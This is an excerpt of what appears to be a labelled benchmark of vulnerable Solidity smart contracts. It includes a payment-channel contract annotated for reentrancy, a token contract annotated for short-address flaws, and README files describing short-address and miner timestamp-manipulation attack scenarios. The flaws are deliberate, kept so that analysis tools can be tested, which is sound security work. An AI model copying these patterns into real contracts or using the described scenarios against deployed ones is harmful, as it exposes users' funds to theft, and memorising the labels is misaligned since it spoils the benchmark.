/* Approves and then calls the receiving contract */
|
||||
function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) {
|
||||
allowed[msg.sender][_spender] = _value;
|
||||
emit Approval(msg.sender, _spender, _value);
|
||||
|
||||
//call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this.
|
||||
//receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData)
|
||||
//it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead.
|
||||
require(_spender.call(bytes4(bytes32(keccak256("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData));
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
contract LedgerChannel {
|
||||
|
||||
string public constant NAME = "Ledger Channel";
|
||||
string public constant VERSION = "0.0.1";
|
||||
|
||||
uint256 public numChannels = 0;
|
||||
|
||||
event DidLCOpen (
|
||||
bytes32 indexed channelId,
|
||||
address indexed partyA,
|
||||
address indexed partyI,
|
||||
uint256 ethBalanceA,
|
||||
address token,
|
||||
uint256 tokenBalanceA,
|
||||
uint256 LCopenTimeout
|
||||
);
|
||||
|
||||
event DidLCJoin (
|
||||
bytes32 indexed channelId,
|
||||
uint256 ethBalanceI,
|
||||
uint256 tokenBalanceI
|
||||
);
|
||||
|
||||
event DidLCDeposit (
|
||||
bytes32 indexed channelId,
|
||||
address indexed recipient,
|
||||
uint256 deposit,
|
||||
bool isToken
|
||||
);
|
||||
|
||||
event DidLCUpdateState (
|
||||
bytes32 indexed channelId,
|
||||
uint256 sequence,
|
||||
uint256 numOpenVc,
|
||||
uint256 ethBalanceA,
|
||||
uint256 tokenBalanceA,
|
||||
uint256 ethBalanceI,
|
||||
uint256 tokenBalanceI,
|
||||
bytes32 vcRoot,
|
||||
uint256 updateLCtimeout
|
||||
);
|
||||
|
||||
event DidLCClose (
|
||||
bytes32 indexed channelId,
|
||||
uint256 sequence,
|
||||
uint256 ethBalanceA,
|
||||
uint256 tokenBalanceA,
|
||||
uint256 ethBalanceI,
|
||||
uint256 tokenBalanceI
|
||||
);
|
||||
|
||||
event DidVCInit (
|
||||
bytes32 indexed lcId,
|
||||
bytes32 indexed vcId,
|
||||
bytes proof,
|
||||
uint256 sequence,
|
||||
address partyA,
|
||||
address partyB,
|
||||
uint256 balanceA,
|
||||
uint256 balanceB
|
||||
);
|
||||
|
||||
event DidVCSettle (
|
||||
bytes32 indexed lcId,
|
||||
bytes32 indexed vcId,
|
||||
uint256 updateSeq,
|
||||
uint256 updateBalA,
|
||||
uint256 updateBalB,
|
||||
address challenger,
|
||||
uint256 updateVCtimeout
|
||||
);
|
||||
|
||||
event DidVCClose(
|
||||
bytes32 indexed lcId,
|
||||
bytes32 indexed vcId,
|
||||
uint256 balanceA,
|
||||
uint256 balanceB
|
||||
);
|
||||
|
||||
struct Channel {
|
||||
//TODO: figure out if it's better just to split arrays by balances/deposits instead of eth/erc20
|
||||
address[2] partyAddresses; // 0: partyA 1: partyI
|
||||
uint256[4] ethBalances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI
|
||||
uint256[4] erc20Balances; // 0: balanceA 1:balanceI 2:depositedA 3:depositedI
|
||||
uint256[2] initialDeposit; // 0: eth 1: tokens
|
||||
uint256 sequence;
|
||||
uint256 confirmTime;
|
||||
bytes32 VCrootHash;
|
||||
uint256 LCopenTimeout;
|
||||
uint256 updateLCtimeout; // when update LC times out
|
||||
bool isOpen; // true when both parties have joined
|
||||
bool isUpdateLCSettling;
|
||||
uint256 numOpenVC;
|
||||
HumanStandardToken token;
|
||||
}
|
||||
|
||||
// virtual-channel state
|
||||
struct VirtualChannel {
|
||||
bool isClose;
|
||||
bool isInSettlementState;
|
||||
uint256 sequence;
|
||||
address challenger; // Initiator of challenge
|
||||
uint256 updateVCtimeout; // when update VC times out
|
||||
// channel state
|
||||
address partyA; // VC participant A
|
||||
address partyB; // VC participant B
|
||||
address partyI; // LC hub
|
||||
uint256[2] ethBalances;
|
||||
uint256[2] erc20Balances;
|
||||
uint256[2] bond;
|
||||
HumanStandardToken token;
|
||||
}
|
||||
|
||||
mapping(bytes32 => VirtualChannel) public virtualChannels;
|
||||
mapping(bytes32 => Channel) public Channels;
|
||||
|
||||
function createChannel(
|
||||
bytes32 _lcID,
|
||||
address _partyI,
|
||||
uint256 _confirmTime,
|
||||
address _token,
|
||||
uint256[2] _balances // [eth, token]
|
||||
)
|
||||
public
|
||||
payable
|
||||
{
|
||||
require(Channels[_lcID].partyAddresses[0] == address(0), "Channel has already been created.");
|
||||
require(_partyI != 0x0, "No partyI address provided to LC creation");
|
||||
require(_balances[0] >= 0 && _balances[1] >= 0, "Balances cannot be negative");
|
||||
// Set initial ledger channel state
|
||||
// Alice must execute this and we assume the initial state
|
||||
// to be signed from this requirement
|
||||
// Alternative is to check a sig as in joinChannel
|
||||
Channels[_lcID].partyAddresses[0] = msg.sender;
|
||||
Channels[_lcID].partyAddresses[1] = _partyI;
|
||||
|
||||
if(_balances[0] != 0) {
|
||||
require(msg.value == _balances[0], "Eth balance does not match sent value");
|
||||
Channels[_lcID].ethBalances[0] = msg.value;
|
||||
}
|
||||
if(_balances[1] != 0) {
|
||||
Channels[_lcID].token = HumanStandardToken(_token);
|
||||
require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"CreateChannel: token transfer failure");
|
||||
Channels[_lcID].erc20Balances[0] = _balances[1];
|
||||
}
|
||||
|
||||
Channels[_lcID].sequence = 0;
|
||||
Channels[_lcID].confirmTime = _confirmTime;
|
||||
// is close flag, lc state sequence, number open vc, vc root hash, partyA...
|
||||
//Channels[_lcID].stateHash = keccak256(uint256(0), uint256(0), uint256(0), bytes32(0x0), bytes32(msg.sender), bytes32(_partyI), balanceA, balanceI);
|
||||
Channels[_lcID].LCopenTimeout = now + _confirmTime;
|
||||
Channels[_lcID].initialDeposit = _balances;
|
||||
|
||||
emit DidLCOpen(_lcID, msg.sender, _partyI, _balances[0], _token, _balances[1], Channels[_lcID].LCopenTimeout);
|
||||
}
|
||||
|
||||
function LCOpenTimeout(bytes32 _lcID) public {
|
||||
require(msg.sender == Channels[_lcID].partyAddresses[0] && Channels[_lcID].isOpen == false);
|
||||
require(now > Channels[_lcID].LCopenTimeout);
|
||||
|
||||
if(Channels[_lcID].initialDeposit[0] != 0) {
|
||||
// <yes> <report> REENTRANCY
|
||||
Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]);
|
||||
}
|
||||
if(Channels[_lcID].initialDeposit[1] != 0) {
|
||||
// <yes> <report> REENTRANCY
|
||||
require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], Channels[_lcID].erc20Balances[0]),"CreateChannel: token transfer failure");
|
||||
}
|
||||
|
||||
emit DidLCClose(_lcID, 0, Channels[_lcID].ethBalances[0], Channels[_lcID].erc20Balances[0], 0, 0);
|
||||
|
||||
// only safe to delete since no action was taken on this channel
|
||||
delete Channels[_lcID];
|
||||
}
|
||||
|
||||
function joinChannel(bytes32 _lcID, uint256[2] _balances) public payable {
|
||||
// require the channel is not open yet
|
||||
require(Channels[_lcID].isOpen == false);
|
||||
require(msg.sender == Channels[_lcID].partyAddresses[1]);
|
||||
|
||||
if(_balances[0] != 0) {
|
||||
require(msg.value == _balances[0], "state balance does not match sent value");
|
||||
Channels[_lcID].ethBalances[1] = msg.value;
|
||||
}
|
||||
if(_balances[1] != 0) {
|
||||
require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),"joinChannel: token transfer failure");
|
||||
Channels[_lcID].erc20Balances[1] = _balances[1];
|
||||
}
|
||||
|
||||
Channels[_lcID].initialDeposit[0]+=_balances[0];
|
||||
Channels[_lcID].initialDeposit[1]+=_balances[1];
|
||||
// no longer allow joining functions to be called
|
||||
Channels[_lcID].isOpen = true;
|
||||
numChannels++;
|
||||
|
||||
emit DidLCJoin(_lcID, _balances[0], _balances[1]);
|
||||
}
|
||||
|
||||
|
||||
// additive updates of monetary state
|
||||
// TODO check this for attack vectors
|
||||
function deposit(bytes32 _lcID, address recipient, uint256 _balance, bool isToken) public payable {
|
||||
require(Channels[_lcID].isOpen == true, "Tried adding funds to a closed channel");
|
||||
require(recipient == Channels[_lcID].partyAddresses[0] || recipient == Channels[_lcID].partyAddresses[1]);
|
||||
|
||||
//if(Channels[_lcID].token)
|
||||
|
||||
if (Channels[_lcID].partyAddresses[0] == recipient) {
|
||||
if(isToken) {
|
||||
require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure");
|
||||
Channels[_lcID].erc20Balances[2] += _balance;
|
||||
} else {
|
||||
require(msg.value == _balance, "state balance does not match sent value");
|
||||
Channels[_lcID].ethBalances[2] += msg.value;
|
||||
}
|
||||
}
|
||||
|
||||
if (Channels[_lcID].partyAddresses[1] == recipient) {
|
||||
if(isToken) {
|
||||
require(Channels[_lcID].token.transferFrom(msg.sender, this, _balance),"deposit: token transfer failure");
|
||||
Channels[_lcID].erc20Balances[3] += _balance;
|
||||
} else {
|
||||
require(msg.value == _balance, "state balance does not match sent value");
|
||||
Channels[_lcID].ethBalances[3] += msg.value;
|
||||
}
|
||||
}
|
||||
|
||||
emit DidLCDeposit(_lcID, recipient, _balance, isToken);
|
||||
}
|
||||
|
||||
// TODO: Check there are no open virtual channels, the client should have cought this before signing a close LC state update
|
||||
function consensusCloseChannel(
|
||||
bytes32 _lcID,
|
||||
uint256 _sequence,
|
||||
uint256[4] _balances, // 0: ethBalanceA 1:ethBalanceI 2:tokenBalanceA 3:tokenBalanceI
|
||||
string _sigA,
|
||||
string _sigI
|
||||
)
|
||||
public
|
||||
{
|
||||
// assume num open vc is 0 and root hash is 0x0
|
||||
//require(Channels[_lcID].sequence < _sequence);
|
||||
require(Channels[_lcID].isOpen == true);
|
||||
uint256 totalEthDeposit = Channels[_lcID].initialDeposit[0] + Channels[_lcID].ethBalances[2] + Channels[_lcID].ethBalances[3];
|
||||
uint256 totalTokenDeposit = Channels[_lcID].initialDeposit[1] + Channels[_lcID].erc20Balances[2] + Channels[_lcID].erc20Balances[3];
|
||||
require(totalEthDeposit == _balances[0] + _balances[1]);
|
||||
require(totalTokenDeposit == _balances[2] + _balances[3]);
|
||||
|
||||
bytes32 _state = keccak256(
|
||||
abi.encodePacked(
|
||||
_lcID,
|
||||
true,
|
||||
_sequence,
|
||||
uint256(0),
|
||||
bytes32(0x0),
|
||||
Channels[_lcID].partyAddresses[0],
|
||||
Channels[_lcID].partyAddresses[1],
|
||||
_balances[0],
|
||||
_balances[1],
|
||||
_balances[2],
|
||||
_balances[3]
|
||||
)
|
||||
);
|
||||
|
||||
require(Channels[_lcID].partyAddresses[0] == ECTools.recoverSigner(_state, _sigA));
|
||||
require(Channels[_lcID].partyAddresses[1] == ECTools.recoverSigner(_state, _sigI));
|
||||
|
||||
Channels[_lcID].isOpen = false;
|
||||
|
||||
if(_balances[0] != 0 || _balances[1] != 0) {
|
||||
Channels[_lcID].partyAddresses[0].transfer(_balances[0]);
|
||||
Channels[_lcID].partyAddresses[1].transfer(_balances[1]);
|
||||
}
|
||||
|
||||
if(_balances[2] != 0 || _balances[3] != 0) {
|
||||
require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[0], _balances[2]),"happyCloseChannel: token transfer failure");
|
||||
require(Channels[_lcID].token.transfer(Channels[_lcID].partyAddresses[1], _balances[3]),"happyCloseChannel: token transfer failure");
|
||||
}
|
||||
|
||||
numChannels--;
|
||||
|
||||
emit DidLCClose(_lcID, _sequence, _balances[0], _balances[1], _balances[2], _balances[3]);
|
||||
}
|
||||
|
||||
// Byzantine functions
|
||||
|
||||
function updateLCstate(
|
||||
bytes32 _lcID,
|
||||
uint256[6] updateParams, // [sequence, numOpenVc, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI]
|
||||
bytes32 _VCroot,
|
||||
string _sigA,
|
||||
string _sigI
|
||||
)
|
||||
public
|
||||
{
|
||||
Channel storage channel = Channels[_lcID];
|
||||
require(channel.isOpen);
|
||||
require(channel.sequence < updateParams[0]); // do same as vc sequence check
|
||||
require(channel.ethBalances[0] + channel.ethBalances[1] >= updateParams[2] + updateParams[3]);
|
||||
require(channel.erc20Balances[0] + channel.erc20Balances[1] >= updateParams[4] + updateParams[5]);
|
||||
|
||||
if(channel.isUpdateLCSettling == true) {
|
||||
require(channel.updateLCtimeout > now);
|
||||
}
|
||||
|
||||
bytes32 _state = keccak256(
|
||||
abi.encodePacked(
|
||||
_lcID,
|
||||
false,
|
||||
updateParams[0],
|
||||
updateParams[1],
|
||||
_VCroot,
|
||||
channel.partyAddresses[0],
|
||||
channel.partyAddresses[1],
|
||||
updateParams[2],
|
||||
updateParams[3],
|
||||
updateParams[4],
|
||||
updateParams[5]
|
||||
)
|
||||
);
|
||||
|
||||
require(channel.partyAddresses[0] == ECTools.recoverSigner(_state, _sigA));
|
||||
require(channel.partyAddresses[1] == ECTools.recoverSigner(_state, _sigI));
|
||||
|
||||
// update LC state
|
||||
channel.sequence = updateParams[0];
|
||||
channel.numOpenVC = updateParams[1];
|
||||
channel.ethBalances[0] = updateParams[2];
|
||||
channel.ethBalances[1] = updateParams[3];
|
||||
channel.erc20Balances[0] = updateParams[4];
|
||||
channel.erc20Balances[1] = updateParams[5];
|
||||
channel.VCrootHash = _VCroot;
|
||||
channel.isUpdateLCSettling = true;
|
||||
channel.updateLCtimeout = now + channel.confirmTime;
|
||||
|
||||
// make settlement flag
|
||||
|
||||
emit DidLCUpdateState (
|
||||
_lcID,
|
||||
updateParams[0],
|
||||
updateParams[1],
|
||||
updateParams[2],
|
||||
updateParams[3],
|
||||
updateParams[4],
|
||||
updateParams[5],
|
||||
_VCroot,
|
||||
channel.updateLCtimeout
|
||||
);
|
||||
}
|
||||
|
||||
// supply initial state of VC to "prime" the force push game
|
||||
function initVCstate(
|
||||
bytes32 _lcID,
|
||||
bytes32 _vcID,
|
||||
bytes _proof,
|
||||
address _partyA,
|
||||
address _partyB,
|
||||
uint256[2] _bond,
|
||||
uint256[4] _balances, // 0: ethBalanceA 1:ethBalanceI 2:tokenBalanceA 3:tokenBalanceI
|
||||
string sigA
|
||||
)
|
||||
public
|
||||
{
|
||||
require(Channels[_lcID].isOpen, "LC is closed.");
|
||||
// sub-channel must be open
|
||||
require(!virtualChannels[_vcID].isClose, "VC is closed.");
|
||||
// Check time has passed on updateLCtimeout and has not passed the time to store a vc state
|
||||
require(Channels[_lcID].updateLCtimeout < now, "LC timeout not over.");
|
||||
// prevent rentry of initializing vc state
|
||||
require(virtualChannels[_vcID].updateVCtimeout == 0);
|
||||
// partyB is now Ingrid
|
||||
bytes32 _initState = keccak256(
|
||||
abi.encodePacked(_vcID, uint256(0), _partyA, _partyB, _bond[0], _bond[1], _balances[0], _balances[1], _balances[2], _balances[3])
|
||||
);
|
||||
|
||||
// Make sure Alice has signed initial vc state (A/B in oldState)
|
||||
require(_partyA == ECTools.recoverSigner(_initState, sigA));
|
||||
|
||||
// Check the oldState is in the root hash
|
||||
require(_isContained(_initState, _proof, Channels[_lcID].VCrootHash) == true);
|
||||
|
||||
virtualChannels[_vcID].partyA = _partyA; // VC participant A
|
||||
virtualChannels[_vcID].partyB = _partyB; // VC participant B
|
||||
virtualChannels[_vcID].sequence = uint256(0);
|
||||
virtualChannels[_vcID].ethBalances[0] = _balances[0];
|
||||
virtualChannels[_vcID].ethBalances[1] = _balances[1];
|
||||
virtualChannels[_vcID].erc20Balances[0] = _balances[2];
|
||||
virtualChannels[_vcID].erc20Balances[1] = _balances[3];
|
||||
virtualChannels[_vcID].bond = _bond;
|
||||
virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime;
|
||||
virtualChannels[_vcID].isInSettlementState = true;
|
||||
|
||||
emit DidVCInit(_lcID, _vcID, _proof, uint256(0), _partyA, _partyB, _balances[0], _balances[1]);
|
||||
}
|
||||
|
||||
//TODO: verify state transition since the hub did not agree to this state
|
||||
// make sure the A/B balances are not beyond ingrids bonds
|
||||
// Params: vc init state, vc final balance, vcID
|
||||
function settleVC(
|
||||
bytes32 _lcID,
|
||||
bytes32 _vcID,
|
||||
uint256 updateSeq,
|
||||
address _partyA,
|
||||
address _partyB,
|
||||
uint256[4] updateBal, // [ethupdateBalA, ethupdateBalB, tokenupdateBalA, tokenupdateBalB]
|
||||
string sigA
|
||||
)
|
||||
public
|
||||
{
|
||||
require(Channels[_lcID].isOpen, "LC is closed.");
|
||||
// sub-channel must be open
|
||||
require(!virtualChannels[_vcID].isClose, "VC is closed.");
|
||||
require(virtualChannels[_vcID].sequence < updateSeq, "VC sequence is higher than update sequence.");
|
||||
require(
|
||||
virtualChannels[_vcID].ethBalances[1] < updateBal[1] && virtualChannels[_vcID].erc20Balances[1] < updateBal[3],
|
||||
"State updates may only increase recipient balance."
|
||||
);
|
||||
require(
|
||||
virtualChannels[_vcID].bond[0] == updateBal[0] + updateBal[1] &&
|
||||
virtualChannels[_vcID].bond[1] == updateBal[2] + updateBal[3],
|
||||
"Incorrect balances for bonded amount");
|
||||
// Check time has passed on updateLCtimeout and has not passed the time to store a vc state
|
||||
// virtualChannels[_vcID].updateVCtimeout should be 0 on uninitialized vc state, and this should
|
||||
// fail if initVC() isn't called first
|
||||
// require(Channels[_lcID].updateLCtimeout < now && now < virtualChannels[_vcID].updateVCtimeout);
|
||||
require(Channels[_lcID].updateLCtimeout < now); // for testing!
|
||||
|
||||
bytes32 _updateState = keccak256(
|
||||
abi.encodePacked(
|
||||
_vcID,
|
||||
updateSeq,
|
||||
_partyA,
|
||||
_partyB,
|
||||
virtualChannels[_vcID].bond[0],
|
||||
virtualChannels[_vcID].bond[1],
|
||||
updateBal[0],
|
||||
updateBal[1],
|
||||
updateBal[2],
|
||||
updateBal[3]
|
||||
)
|
||||
);
|
||||
|
||||
// Make sure Alice has signed a higher sequence new state
|
||||
require(virtualChannels[_vcID].partyA == ECTools.recoverSigner(_updateState, sigA));
|
||||
|
||||
// store VC data
|
||||
// we may want to record who is initiating on-chain settles
|
||||
virtualChannels[_vcID].challenger = msg.sender;
|
||||
virtualChannels[_vcID].sequence = updateSeq;
|
||||
|
||||
// channel state
|
||||
virtualChannels[_vcID].ethBalances[0] = updateBal[0];
|
||||
virtualChannels[_vcID].ethBalances[1] = updateBal[1];
|
||||
virtualChannels[_vcID].erc20Balances[0] = updateBal[2];
|
||||
virtualChannels[_vcID].erc20Balances[1] = updateBal[3];
|
||||
|
||||
virtualChannels[_vcID].updateVCtimeout = now + Channels[_lcID].confirmTime;
|
||||
|
||||
emit DidVCSettle(_lcID, _vcID, updateSeq, updateBal[0], updateBal[1], msg.sender, virtualChannels[_vcID].updateVCtimeout);
|
||||
}
|
||||
|
||||
function closeVirtualChannel(bytes32 _lcID, bytes32 _vcID) public {
|
||||
// require(updateLCtimeout > now)
|
||||
require(Channels[_lcID].isOpen, "LC is closed.");
|
||||
require(virtualChannels[_vcID].isInSettlementState, "VC is not in settlement state.");
|
||||
require(virtualChannels[_vcID].updateVCtimeout < now, "Update vc timeout has not elapsed.");
|
||||
require(!virtualChannels[_vcID].isClose, "VC is already closed");
|
||||
// reduce the number of open virtual channels stored on LC
|
||||
Channels[_lcID].numOpenVC--;
|
||||
// close vc flags
|
||||
virtualChannels[_vcID].isClose = true;
|
||||
// re-introduce the balances back into the LC state from the settled VC
|
||||
// decide if this lc is alice or bob in the vc
|
||||
if(virtualChannels[_vcID].partyA == Channels[_lcID].partyAddresses[0]) {
|
||||
Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[0];
|
||||
Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[1];
|
||||
|
||||
Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[0];
|
||||
Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[1];
|
||||
} else if (virtualChannels[_vcID].partyB == Channels[_lcID].partyAddresses[0]) {
|
||||
Channels[_lcID].ethBalances[0] += virtualChannels[_vcID].ethBalances[1];
|
||||
Channels[_lcID].ethBalances[1] += virtualChannels[_vcID].ethBalances[0];
|
||||
|
||||
Channels[_lcID].erc20Balances[0] += virtualChannels[_vcID].erc20Balances[1];
|
||||
Channels[_lcID].erc20Balances[1] += virtualChannels[_vcID].erc20Balances[0];
|
||||
}
|
||||
|
||||
emit DidVCClose(_lcID, _vcID, virtualChannels[_vcID].erc20Balances[0], virtualChannels[_vcID].erc20Balances[1]);
|
||||
}
|
||||
|
||||
|
||||
// todo: allow ethier lc.end-user to nullify the settled LC state and return to off-chain
|
||||
function byzantineCloseChannel(bytes32 _lcID) public {
|
||||
Channel storage channel = Channels[_lcID];
|
||||
|
||||
// check settlement flag
|
||||
require(channel.isOpen, "Channel is not open");
|
||||
require(channel.isUpdateLCSettling == true);
|
||||
require(channel.numOpenVC == 0);
|
||||
require(channel.updateLCtimeout < now, "LC timeout over.");
|
||||
|
||||
// if off chain state update didnt reblance deposits, just return to deposit owner
|
||||
uint256 totalEthDeposit = channel.initialDeposit[0] + channel.ethBalances[2] + channel.ethBalances[3];
|
||||
uint256 totalTokenDeposit = channel.initialDeposit[1] + channel.erc20Balances[2] + channel.erc20Balances[3];
|
||||
|
||||
uint256 possibleTotalEthBeforeDeposit = channel.ethBalances[0] + channel.ethBalances[1];
|
||||
uint256 possibleTotalTokenBeforeDeposit = channel.erc20Balances[0] + channel.erc20Balances[1];
|
||||
|
||||
if(possibleTotalEthBeforeDeposit < totalEthDeposit) {
|
||||
channel.ethBalances[0]+=channel.ethBalances[2];
|
||||
channel.ethBalances[1]+=channel.ethBalances[3];
|
||||
} else {
|
||||
require(possibleTotalEthBeforeDeposit == totalEthDeposit);
|
||||
}
|
||||
|
||||
if(possibleTotalTokenBeforeDeposit < totalTokenDeposit) {
|
||||
channel.erc20Balances[0]+=channel.erc20Balances[2];
|
||||
channel.erc20Balances[1]+=channel.erc20Balances[3];
|
||||
} else {
|
||||
require(possibleTotalTokenBeforeDeposit == totalTokenDeposit);
|
||||
}
|
||||
|
||||
// reentrancy
|
||||
uint256 ethbalanceA = channel.ethBalances[0];
|
||||
uint256 ethbalanceI = channel.ethBalances[1];
|
||||
uint256 tokenbalanceA = channel.erc20Balances[0];
|
||||
uint256 tokenbalanceI = channel.erc20Balances[1];
|
||||
|
||||
channel.ethBalances[0] = 0;
|
||||
channel.ethBalances[1] = 0;
|
||||
channel.erc20Balances[0] = 0;
|
||||
channel.erc20Balances[1] = 0;
|
||||
|
||||
if(ethbalanceA != 0 || ethbalanceI != 0) {
|
||||
channel.partyAddresses[0].transfer(ethbalanceA);
|
||||
channel.partyAddresses[1].transfer(ethbalanceI);
|
||||
}
|
||||
|
||||
if(tokenbalanceA != 0 || tokenbalanceI != 0) {
|
||||
require(
|
||||
channel.token.transfer(channel.partyAddresses[0], tokenbalanceA),
|
||||
"byzantineCloseChannel: token transfer failure"
|
||||
);
|
||||
require(
|
||||
channel.token.transfer(channel.partyAddresses[1], tokenbalanceI),
|
||||
"byzantineCloseChannel: token transfer failure"
|
||||
);
|
||||
}
|
||||
|
||||
channel.isOpen = false;
|
||||
numChannels--;
|
||||
|
||||
emit DidLCClose(_lcID, channel.sequence, ethbalanceA, ethbalanceI, tokenbalanceA, tokenbalanceI);
|
||||
}
|
||||
|
||||
function _isContained(bytes32 _hash, bytes _proof, bytes32 _root) internal pure returns (bool) {
|
||||
bytes32 cursor = _hash;
|
||||
bytes32 proofElem;
|
||||
|
||||
for (uint256 i = 64; i <= _proof.length; i += 32) {
|
||||
assembly { proofElem := mload(add(_proof, i)) }
|
||||
|
||||
if (cursor < proofElem) {
|
||||
cursor = keccak256(abi.encodePacked(cursor, proofElem));
|
||||
} else {
|
||||
cursor = keccak256(abi.encodePacked(proofElem, cursor));
|
||||
}
|
||||
}
|
||||
|
||||
return cursor == _root;
|
||||
}
|
||||
|
||||
//Struct Getters
|
||||
function getChannel(bytes32 id) public view returns (
|
||||
address[2],
|
||||
uint256[4],
|
||||
uint256[4],
|
||||
uint256[2],
|
||||
uint256,
|
||||
uint256,
|
||||
bytes32,
|
||||
uint256,
|
||||
uint256,
|
||||
bool,
|
||||
bool,
|
||||
uint256
|
||||
) {
|
||||
Channel memory channel = Channels[id];
|
||||
return (
|
||||
channel.partyAddresses,
|
||||
channel.ethBalances,
|
||||
channel.erc20Balances,
|
||||
channel.initialDeposit,
|
||||
channel.sequence,
|
||||
channel.confirmTime,
|
||||
channel.VCrootHash,
|
||||
channel.LCopenTimeout,
|
||||
channel.updateLCtimeout,
|
||||
channel.isOpen,
|
||||
channel.isUpdateLCSettling,
|
||||
channel.numOpenVC
|
||||
);
|
||||
}
|
||||
|
||||
function getVirtualChannel(bytes32 id) public view returns(
|
||||
bool,
|
||||
bool,
|
||||
uint256,
|
||||
address,
|
||||
uint256,
|
||||
address,
|
||||
address,
|
||||
address,
|
||||
uint256[2],
|
||||
uint256[2],
|
||||
uint256[2]
|
||||
) {
|
||||
VirtualChannel memory virtualChannel = virtualChannels[id];
|
||||
return(
|
||||
virtualChannel.isClose,
|
||||
virtualChannel.isInSettlementState,
|
||||
virtualChannel.sequence,
|
||||
virtualChannel.challenger,
|
||||
virtualChannel.updateVCtimeout,
|
||||
virtualChannel.partyA,
|
||||
virtualChannel.partyB,
|
||||
virtualChannel.partyI,
|
||||
virtualChannel.ethBalances,
|
||||
virtualChannel.erc20Balances,
|
||||
virtualChannel.bond
|
||||
);
|
||||
}
|
||||
}
|
||||
15
dataset/short_addresses/README.md
Executable file
15
dataset/short_addresses/README.md
Executable file
@@ -0,0 +1,15 @@
|
||||
# Short Addresses
|
||||
Also known as or related to off-chain issues, client vulnerabilities.
|
||||
|
||||
Short address attacks are a side-effect of the EVM itself accepting incorrectly padded arguments. Attackers can exploit this by using specially-crafted addresses to make poorly coded clients encode arguments incorrectly before including them in transactions. Is this an EVM issue or a client issue? Should it be fixed in smart contracts instead? While everyone has a different opinion, the fact is that a great deal of ether could be directly impacted by this issue. While this vulnerability has yet to be exploited in the wild, it is a good demonstration of problems arising from the interaction between clients and the Ethereum blockchain. Other off-chain issues exist: an important one is the Ethereum ecosystem's deep trust in specific Javascript front ends, browser plugins and public nodes. An infamous off-chain exploit was used in the hack of the Coindash ICO that modified the company's Ethereum address on their webpage to trick participants into sending ethers to the attacker's address.
|
||||
|
||||
## Attack Scenario
|
||||
An exchange API has a trading function that takes a recipient address and an amount.
|
||||
The API then interacts with the smart contract transfer(address _to, uint256 _amount) function with padded arguments: it prepends the address (of an expected 20-byte length) with 12 zero bytes to make it 32-byte long
|
||||
Bob (0x3bdde1e9fbaef2579dd63e2abbf0be445ab93f00) asks Alice to transfer him 20 tokens. He maliciously gives her his address truncated to remove the trailing zeroes.
|
||||
Alice uses the exchange API with the shorter 19-byte address of Bob (0x3bdde1e9fbaef2579dd63e2abbf0be445ab93f).
|
||||
The API pads the address with 12 zero bytes, making it 31 bytes instead of the 32 bytes. Effectively stealing one byte from the following _amount argument.
|
||||
Eventually, the EVM executing the smart contract's code will remark that the data is not properly padded and will add the missing byte at the end of the _amount argument. Effectively transfering 256 times more tokens than thought.
|
||||
|
||||
## References
|
||||
Taken from [DASP TOP10](https://dasp.co/)
|
||||
29
dataset/short_addresses/short_address_example.sol
Normal file
29
dataset/short_addresses/short_address_example.sol
Normal file
@@ -0,0 +1,29 @@
|
||||
/*
|
||||
* @source: https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/
|
||||
* @author: -
|
||||
* @vulnerable_at_lines: 18
|
||||
*/
|
||||
|
||||
pragma solidity ^0.4.11;
|
||||
|
||||
contract MyToken {
|
||||
mapping (address => uint) balances;
|
||||
|
||||
event Transfer(address indexed _from, address indexed _to, uint256 _value);
|
||||
|
||||
function MyToken() {
|
||||
balances[tx.origin] = 10000;
|
||||
}
|
||||
// <yes> <report> SHORT_ADDRESSES
|
||||
function sendCoin(address to, uint amount) returns(bool sufficient) {
|
||||
if (balances[msg.sender] < amount) return false;
|
||||
balances[msg.sender] -= amount;
|
||||
balances[to] += amount;
|
||||
Transfer(msg.sender, to, amount);
|
||||
return true;
|
||||
}
|
||||
|
||||
function getBalance(address addr) constant returns(uint) {
|
||||
return balances[addr];
|
||||
}
|
||||
}
|
||||
22
dataset/time_manipulation/README.md
Executable file
22
dataset/time_manipulation/README.md
Executable file
@@ -0,0 +1,22 @@
|
||||
# Time Manipulation
|
||||
Also known as timestamp dependence.
|
||||
|
||||
From locking a token sale to unlocking funds at a specific time for a game, contracts sometimes need to rely on the current time. This is usually done via block.timestamp or its alias now in Solidity. But where does that value come from? From the miners! Because a transaction's miner has leeway in reporting the time at which the mining occurred, good smart contracts will avoid relying strongly on the time advertised. Note that block.timestamp is also sometimes (mis)used in the generation of random numbers as is discussed in #6. Bad Randomness.
|
||||
|
||||
## Attack Scenario
|
||||
A game pays out the very first player at midnight today.
|
||||
A malicious miner includes his or her attempt to win the game and sets the timestamp to midnight.
|
||||
A bit before midnight the miner ends up mining the block. The real current time is "close enough" to midnight (the currently set timestamp for the block), other nodes on the network decide to accept the block.
|
||||
|
||||
## Examples
|
||||
The following function only accepts calls that come after a specific date. Since miners can influence their block's timestamp (to a certain extent), they can attempt to mine a block containing their transaction with a block timestamp set in the future. If it is close enough, it will be accepted on the network and the transaction will give the miner ether before any other player could have attempted to win the game:
|
||||
```
|
||||
function play() public {
|
||||
require(now > 1521763200 && neverPlayed == true);
|
||||
neverPlayed = false;
|
||||
msg.sender.transfer(1500 ether);
|
||||
}
|
||||
```
|
||||
|
||||
## References
|
||||
Taken from [DASP TOP10](https://dasp.co/)
|
||||
59
dataset/time_manipulation/ether_lotto.sol
Normal file
59
